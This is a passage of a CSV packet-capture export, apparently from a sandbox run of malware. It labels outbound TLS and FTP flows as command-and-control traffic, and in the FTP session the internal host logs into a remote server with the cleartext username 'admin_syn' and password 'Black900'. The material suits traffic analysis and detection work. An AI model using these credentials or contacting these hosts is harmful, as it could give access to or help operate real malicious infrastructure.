\\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\xc0\\\\xc5:W\\\\xaew%\\\\xee\\\\x85\\\\xaf\\\\x84P\\\\xa9eb\\\\x01\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\\\\\\\\\x85W\\\\xe5\\\\xfc\\\\x14p<\\\\xc0\\\\xb1_n\\\\x1aDk\\\\xea' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:29:10.040923,15,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70b40008006e94bc0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.....@....K..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46859, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59723, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:29:12.348924,16,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70c40008006e8b5c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f686c0c53a57ae7725ee85af8450a9656201fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd5c8557e5fc14703cc0b15f6e1a446bea,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46860, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59573, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\xc0\\\\xc5:W\\\\xaew%\\\\xee\\\\x85\\\\xaf\\\\x84P\\\\xa9eb\\\\x01\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\\\\\\\\\x85W\\\\xe5\\\\xfc\\\\x14p<\\\\xc0\\\\xb1_n\\\\x1aDk\\\\xea' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:29:15.473425,17,TCP 192.168.122.168:50062 -> 46.105.59.197:21,192.168.122.168,46.105.59.197,50062,21,TCP,Internal,Private Network,,,,,,France,Unknown,16276,OVH SAS,48.8582,2.3387,46.105.58.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=941849431 Ack=0,525400577f945254007bb792080045000034034f4000800651f6c0a87aa82e693bc5c38e001538237b57000000008002faf0a5a50000020405b40103030801010402,RT.W..RT.{....E..4.O@...Q...z..i;.....8#{W........................,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 847, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20982, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"46.105.59.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50062, \"\"dport\"\": 21, \"\"seq\"\": 941849431, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 42405, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-29 14:29:15.473469,18,TCP 46.105.59.197:21 -> 192.168.122.168:50062,46.105.59.197,192.168.122.168,21,50062,TCP,France,Unknown,16276,OVH SAS,48.8582,2.3387,46.105.58.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=1324414932 Ack=941849432,5254007bb792525400577f9408004500003400004000400695452e693bc5c0a87aa80015c38e4ef0f7d438237b588012a564a5a50000020405b40101040201030309,RT.{..RT.W....E..4..@.@..E.i;...z.....N...8#{X...d...............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38213, \"\"src\"\": \"\"46.105.59.197\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50062, \"\"seq\"\": 1324414932, \"\"ack\"\": 941849432, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 42405, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-29 14:29:15.490651,19,TCP 192.168.122.168:50062 -> 46.105.59.197:21,192.168.122.168,46.105.59.197,50062,21,TCP,Internal,Private Network,,,,,,France,Unknown,16276,OVH SAS,48.8582,2.3387,46.105.58.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=941849432 Ack=1324414933,525400577f945254007bb7920800450000280350400080065201c0a87aa82e693bc5c38e001538237b584ef0f7d550100402a5990000,RT.W..RT.{....E..(.P@...R...z..i;.....8#{XN...P.......,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 848, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20993, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"46.105.59.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50062, \"\"dport\"\": 21, \"\"seq\"\": 941849432, \"\"ack\"\": 1324414933, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 42393, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:15.823269,20,TCP 46.105.59.197:21 -> 192.168.122.168:50062,46.105.59.197,192.168.122.168,21,50062,TCP,France,Unknown,16276,OVH SAS,48.8582,2.3387,46.105.58.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1324414933 Ack=941849432,5254007bb792525400577f94080045000135efc240004006a4812e693bc5c0a87aa80015c38e4ef0f7d538237b5850180053a6a600003232302d2d2d2d2d2d2d2d2d2d2057656c636f6d6520746f20507572652d46545064205b707269767365705d205b544c535d202d2d2d2d2d2d2d2d2d2d0d0a3232302d596f75206172652075736572206e756d6265722031206f6620353020616c6c6f7765642e0d0a3232302d4c6f63616c2074696d65206973206e6f772031343a32392e2053657276657220706f72743a2032312e0d0a3232302d4950763620636f6e6e656374696f6e732061726520616c736f2077656c636f6d65206f6e2074686973207365727665722e0d0a32323020596f752077696c6c20626520646973636f6e6e6563746564206166746572203135206d696e75746573206f6620696e61637469766974792e0d0a,\"220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------\n220-You are user number 1 of 50 allowed.\n220-Local time is now 14:29. Server port: 21.\n220-IPv6 connections are also welcome on this server.\n220 You will be disconnected after 15 minutes of inactivity.\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 309, \"\"id\"\": 61378, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42113, \"\"src\"\": \"\"46.105.59.197\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50062, \"\"seq\"\": 1324414933, \"\"ack\"\": 941849432, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 42662, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------\\r\\n220-You are user number 1 of 50 allowed.\\r\\n220-Local time is now 14:29. Server port: 21.\\r\\n220-IPv6 connections are also welcome on this server.\\r\\n220 You will be disconnected after 15 minutes of inactivity.\\r\\n\"\"}}]\"\n2026-04-29 14:29:15.876067,21,TCP 192.168.122.168:50062 -> 46.105.59.197:21,192.168.122.168,46.105.59.197,50062,21,TCP,Internal,Private Network,,,,,,France,Unknown,16276,OVH SAS,48.8582,2.3387,46.105.58.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=941849432 Ack=1324415202,525400577f945254007bb79208004500003803514000800651f0c0a87aa82e693bc5c38e001538237b584ef0f8e250180401a5a90000555345522061646d696e5f73796e0d0a,\"USER admin_syn\n\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 56, \"\"id\"\": 849, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20976, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"46.105.59.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50062, \"\"dport\"\": 21, \"\"seq\"\": 941849432, \"\"ack\"\": 1324415202, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1025, \"\"chksum\"\": 42409, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"USER admin_syn\\r\\n\"\"}}]\"\n2026-04-29 14:29:15.876088,22,TCP 46.105.59.197:21 -> 192.168.122.168:50062,46.105.59.197,192.168.122.168,21,50062,TCP,France,Unknown,16276,OVH SAS,48.8582,2.3387,46.105.58.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1324415202 Ack=941849448,5254007bb792525400577f94080045000028efc340004006a58d2e693bc5c0a87aa80015c38e4ef0f8e238237b6850100053a5990000,RT.{..RT.W....E..(..@.@....i;...z.....N...8#{hP..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61379, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42381, \"\"src\"\": \"\"46.105.59.197\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50062, \"\"seq\"\": 1324415202, \"\"ack\"\": 941849448, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 42393, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:16.221838,23,TCP 46.105.59.197:21 -> 192.168.122.168:50062,46.105.59.197,192.168.122.168,21,50062,TCP,France,Unknown,16276,OVH SAS,48.8582,2.3387,46.105.58.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1324415202 Ack=941849448,5254007bb792525400577f94080045000052efc440004006a5622e693bc5c0a87aa80015c38e4ef0f8e238237b6850180053a5c3000033333120557365722061646d696e5f73796e204f4b2e2050617373776f72642072657175697265640d0a,\"331 User admin_syn OK. Password required\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 82, \"\"id\"\": 61380, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42338, \"\"src\"\": \"\"46.105.59.197\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50062, \"\"seq\"\": 1324415202, \"\"ack\"\": 941849448, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 42435, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"331 User admin_syn OK. Password required\\r\\n\"\"}}]\"\n2026-04-29 14:29:16.258995,24,TCP 192.168.122.168:50062 -> 46.105.59.197:21,192.168.122.168,46.105.59.197,50062,21,TCP,Internal,Private Network,,,,,,France,Unknown,16276,OVH SAS,48.8582,2.3387,46.105.58.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=941849448 Ack=1324415244,525400577f945254007bb79208004500003703524000800651f0c0a87aa82e693bc5c38e001538237b684ef0f90c50180401a5a800005041535320426c61636b3930300d0a,\"PASS Black900\n\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 55, \"\"id\"\": 850, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20976, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"46.105.59.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50062, \"\"dport\"\": 21, \"\"seq\"\": 941849448, \"\"ack\"\": 1324415244, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1025, \"\"chksum\"\": 42408, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"PASS Black900\\r\\n\"\"}}]\"\n2026-04-29 14:29:16.259015,25,TCP 46.105.59.197:21 -> 192.168.122.168:50062,46.105.59.197,192.168.122.168,21,50062,TCP,France,Unknown,16276,OVH SAS,48.8582,2.3387,46.105.58.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1324415244 Ack=941849463,5254007bb792525400577f94080045000028efc540004006a58b2e693bc5c0a87aa80015c38e4ef0f90c38237b7750100053a5990000,RT.{..RT.W....E..(..@.@....i;...z.....N...8#{wP..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61381, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42379, \"\"src\"\": \"\"46.105.59.197\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50062, \"\"seq\"\": 1324415244, \"\"ack\"\": 941849463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 42393, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:19.736234,26,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,RA,,,Ether > IP > TCP,3,TCP RA Seq=3881783903 Ack=1692602478,525400577f945254007bb792080045000028b70d40008006e9acc0a87aa804d519f0c2eb01bbe75f525f64e3106e501400005a300000,\"RT.W..RT.{....E..(.\n@.......z.........._R_d..nP...Z0..\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 46861, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59820, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783903, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 23088, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:21.418313,27,TCP 46.105.59.197:21 -> 192.168.122.168:50062,46.105.59.197,192.168.122.168,21,50062,TCP,France,Unknown,16276,OVH SAS,48.8582,2.3387,46.105.58.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1324415244 Ack=941849463,5254007bb792525400577f94080045000049efc640004006a5692e693bc5c0a87aa80015c38e4ef0f90c38237b7750180053a5ba0000353330204c6f67696e2061757468656e7469636174696f6e206661696c65640d0a,\"530 Login authentication failed\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 73, 